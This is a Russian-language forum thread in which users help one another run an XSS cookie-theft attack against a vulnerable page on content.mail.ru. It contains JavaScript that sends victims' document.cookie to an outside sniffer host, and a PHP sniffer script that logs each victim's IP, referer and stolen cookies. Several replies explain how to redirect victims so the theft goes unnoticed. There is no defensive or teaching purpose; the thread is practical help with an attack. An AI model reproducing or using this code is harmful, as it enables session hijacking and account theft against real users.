![]() |
Как сделать редирект. Или что еще можно придумать?
Доброго всем времени суток!
Помогите пожалуйста разобраться... Я много читал статей, постов на этом форуме про XSS уязвимости и решил попробовать... вроде как все получается... Я создал страничку на народ.ру (index.html) со следующим содержимым: Код:
<script>А в скрипте (Js.js) я пишу следущее: Код:
img=new Image();img.src="http://www.s.netsec.ru/alloc.gif?"+document.cookie;При нажатии на ядовитую ссылку, естественно открывается та страничка где есть уязвимость... тоесть: Код:
http://content.mail.ru/cgi-bin/forgot.cgi?&email= |
ettee, спасибо большое! Но что-то не получается... хотя вроде должно... Редирект происходит... а вот кукис не приходят...
Я делаю так: Код:
<script> |
Куки не приходят потому что скрипт не успевает сработать и перекидывает юзверя на другую пагу, поэтому редирект нужно добавить в JS.js.
Чтобы после того как скрипт снифа сработает шла переадресация. |
поставь редирект в снифере, тоесть куки приходят на снифер, записываются в лог, а затем снифер пинает юзера дальше.
Что-то типа: PHP код:
|
Всем большое спасибо за помощь! Все вроде работает... конечно всеравно не так как я хотел...Страничка с Xss видна... но потом идет редирект... Так намного лучше.
Всем спасибо за помощь! ;) |
Что-то не получается у меня... Я вставил в скрипт js.js редирект - document.location.replace('http://www.google.com');... но он не всегда срабатывает... не знаю почему...
Пробовал добавлять следующую строку в снифер (s.gif... в конец скрипта...)... но все равно не получается... PHP код:
PHP код:
Заранее спасибо! |
Цитата:
эту строку не надо в конец ставить а нaдо сюда ставить если помог ставь+ смотри весь код обазначил спецально красным <? define("FILE", "s.gif"); require "config.php"; require "functions.php"; cleaner(); $sniffed['date'] = date("d.m.Y H:i"); $sniffed['ip'] = $_SERVER['REMOTE_ADDR']; $sniffed['referer'] = htmlspecialchars(stripslashes($_SERVER['HTTP_REFERER'])); $sniffed['query'] = htmlspecialchars(stripslashes(urldecode($_SERVER['QUERY_STRING']))); $sniffed['agent'] = htmlspecialchars($_SERVER['HTTP_USER_AGENT']); $sniffed['real_ip'] = htmlspecialchars($_SERVER['HTTP_X_FORWARDED_FOR']); $url='http://xaker.ru';header("Location: $url"); if (!preg_match("/^https?:\/\//i", $sniffed['referer'])) $sniffed['referer'] = ""; $data = array(); $data_content = get_file_content($data_filename); if ($data_content !== NULL) $data = unserialize($data_content); $entrie = serialize($sniffed); $data[] = $entrie; $data_content = serialize($data); put_file_content($data_filename, $data_content); show_image(); ?> |
| Время: 14:00 |